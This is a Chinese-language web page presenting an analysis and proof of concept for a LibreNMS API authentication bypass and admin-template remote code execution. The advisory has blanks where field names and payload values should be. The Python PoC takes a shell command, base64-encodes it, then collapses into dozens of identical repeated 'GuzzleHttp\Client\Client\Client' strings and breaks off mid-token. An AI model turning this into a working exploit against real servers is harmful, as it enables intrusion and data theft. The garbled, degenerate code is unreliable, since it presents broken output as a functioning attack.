LibreNMS API认证绕过及RCE漏洞分析与PoC

LibreNMS API 认证绕过漏洞总结 漏洞概述 漏洞名称：LibreNMS 26.7.0 中通过 API token 类型混淆导致的未认证 API 访问（API auth bypass） 严重程度：Critical（CVSS 9.2/10） 漏洞类型：认证绕过 / 类型混淆（Type Confusion） 根因：API 认证依赖 字段，该字段在数据库中为数字类型。攻击者无需猜测 32 位十六进制 token，只需发送一个数字（如 ），MySQL 会将文本列与数字比较时做类型转换，使大量 token 哈希值匹配，从而绕过认证。 影响范围 受影响版本：≤ 26.7.0 已修复版本：26.8.0 影响： - 攻击者无需凭据即可访问 REST API（ ），可读取设备、SNMP 配置、社区字符串、私钥等敏感数据 - 若匹配到的 token 属于管理员，攻击者可利用 Laravel 模板功能（ ）实现 RCE（远程代码执行） 修复方案 升级至 26.8.0 或更高版本 临时缓解：禁用 API 访问或限制 API 组权限 POC / 利用代码 1. 认证绕过（数字 token 猜测） 2. 从管理员 token 到 RCE（利用模板功能） ```python #!/usr/bin/env python3 import sys, json, base64, urllib.request, urllib.error BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080").rstrip("/") CMD = sys.argv[2] if len(sys.argv) > 2 else "id" b64 = base64.b64encode(CMD.encode()).decode() template = f"{{%php $new=new \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Client\\Client\\Client(\\'{b64}\\'); \\'GuzzleHttp\\Clien

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

LibreNMS API认证绕过及RCE漏洞分析与PoC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

LibreNMS API认证绕过及RCE漏洞分析与PoC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！